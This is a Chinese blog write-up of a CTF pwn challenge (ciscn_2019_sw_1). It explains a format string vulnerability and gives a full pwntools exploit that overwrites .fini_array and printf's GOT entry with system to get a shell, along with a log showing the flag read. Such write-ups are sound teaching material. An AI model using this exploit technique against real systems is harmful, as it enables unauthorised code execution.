【pwn做题记录】05.ciscn_2019_sw_1 1

例题:ciscn_2019_sw_1 1

首先检查一下文件:

C:\Users\A\Downloads>checksec ciscn_2019_sw_1
[*] 'C:\\Users\\A\\Downloads\\ciscn_2019_sw_1'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

上面每一条的意思依次是:

  • 32位程序,小端序
  • GOT表可读可写
  • 没有栈保护
  • 栈不可执行
  • 地址固定
  • 保留了字符表的调试信息

思路分析

用IDA打开,查看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format; // [esp+0h] [ebp-48h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to my ctf! What's your name?");
  __isoc99_scanf("%64s", &format);
  printf("Hello ");
  printf(&format);
  return 0;
}
  • [ebp-48h]可知,只需要0x48+4(ebp占4字节)就可以发生栈溢出
  • __isoc99_scanf("%64s", &format);可知,查看堆栈,format[0x48-0x05]=format[67],67>=64,所以不存在栈溢出
-00000048 format          db ?
-00000047                 db ? ; undefined
-00000046                 db ? ; undefined
…………
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 argc            dd ?
+0000000C argv            dd ?                    ; offset
+00000010 envp            dd ?                    ; offset
+00000014
+00000014 ; end of stack variables
  • __isoc99_scanf("%64s", &format); printf(&format)可知,存在格式化字符串漏洞。

查看程序已有函数:

puts@plt
printf@plt
system@plt

由于got表可写,所以这里的思路是利用格式化字符串漏洞,修改got表,将printf@got(由于printf可以传递我们输入的参数)改为system@plt(因为system没有被调用,得用plt间接调用),这样在执行printf的时候,实际上是在执行system,做到偷天换日的效果。
由于第一次printf需要我们利用格式化字符串漏洞修改got表,所以调用system的话,需要在第二次调用printf的时候。
所以我们需要返回到main函数执行第二次printf

如何调用main函数呢?这里需要补充一个新知识:

  • .fini_array函数在 exit()调用的时候main函数返回时(类似于C++的析构函数)执行,可以清理内存,关闭数据库连接、释放共享内存、删除临时文件,避免无限递归等。
  • .fini_array是一个 函数指针数组,每个元素是一个指向清理函数的地址。
  • .fini_array也是一个 特殊的段 (Section),属于程序的初始化和终止机制的一部分。它的主要作用是存储程序结束时需要执行的函数指针数组。

如果我们把fini_array[0]改为main函数的地址,则在main函数返回的时候,就会调用fini_array[0],重新执行main函数。
所以我们可以修改fini_array[0]的地址为main函数的地址。

运行程序,使用

AAAA%p%p%p%p%p%p%p%p%p%p

泄露字符串的地址。

其中的(nil)相当于0x0,
第一个参数是0xfff812d0,第二个参数是0x2,第三个是(nil),第四个是0x41414141(0x41是A的ASCII码)
AAAA在第4个参数。即第4个参数开始,就是格式化后字符串的地址。

修改地址我们用 %数字c%数字$hn 来实现

  • %数字c:用于填充数字个字符
  • %数字$hn:在指定参数写入内容,写入内容是成功输入的字符数(写入大小为2字节)
payload = p32(printf_got + 2)
# 这样成功输入的字符数为0x04 + system_plt_high - 0x04 = system_plt_high
# 由于第4个参数开始是格式化后字符串的地址,这样就成功将printf_got + 2改为system_plt_high
payload += b'%' + bytes(str(system_plt_high - 0x04).'utf-8') + b'c%4$hn'

思路总结

  • 利用格式化字符串漏洞,修改fini_array[0]为main函数地址,用于重新执行main函数
  • 修改printf@got为system@plt
  • 给修改后的printf传递参数'/bin/sh',间接调用了system

攻击脚本

#!/bin/python
from pwn import *
context.log_level = 'debug'

elf = ELF("./ciscn_2019_sw_1")
main = elf.symbols["main"] # 获取main函数地址
printf_got = elf.got["printf"] # 获取printf@got
system_plt = elf.plt["system"] # 获取system@plt
fini_array = elf.get_section_by_name(".fini_array").header.sh_addr # 获取.fini_array段头地址

# 由于%hn最多只能写入两字节,所以四字节的地址需要分开写
main_high = main >> 16
main_low = main & 0xffff # 这个属于位操作掩码的知识

system_plt_high = main_high # 经过打印发现高2字节一样,因此不用再次计算
system_plt_low = system_plt & 0xffff

io = process("./ciscn_2019_sw_1")
#io = remote("node5.buuoj.cn",29965)

payload = p32(fini_array + 2) + p32(printf_got + 2) # 由于是小端序,高地址放高位,低地址放低位
payload += p32(printf_got) + p32(fini_array)
payload += b'%' + bytes(str(main_high - 0x10),'utf-8') + b'c%4$hn' # 0x10是前面四个p32的总字节数
payload += b'%5$hn' # system_plt_high和main_high一样,就不用重复写了
payload += b'%' + bytes(str(system_plt_low - main_high),'utf-8') + b'c%6$hn'
payload += b'%' + bytes(str(main_low - system_plt_low),'utf-8') + b'c%7$hn'
payload += b'\x00' # printf接收的是字符串,这里截断一下,因为我们输入的字符串较长,避免某地址内容不为\x00,导致传入的payload和预想的不一样

io.recvuntil(b'name?')
io.sendline(payload)

payload = b'/bin/sh' # 此时printf已经被改为system,传入/bin/sh参数
io.recvuntil(b'name?')
io.sendline(payload)

io.interactive()

就可以获取flag了

点击查看代码
[+] Opening connection to node5.buuoj.cn on port 29965: Done
[*] Switching to interactive mode

sh: 1: Hello: not found
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{7f54ecae-410f-4828-9153-e3a18d715dae}
$ 
[*] Closed connection to node5.buuoj.cn port 29965

做题总结

  • 当got表可写的时候,可以尝试使用格式化字符串漏洞,篡改got表的函数为system
  • 也可以篡改fini_array[0]为main函数,重复执行main函数
  • 对于char buf[i]; scanf("%64s",buf);:当i>=64的时候,没有栈溢出,当i<64的时候,才有栈溢出漏洞。
posted @ 2025-06-21 20:47  星冥鸢  阅读(38)  评论(0)    收藏  举报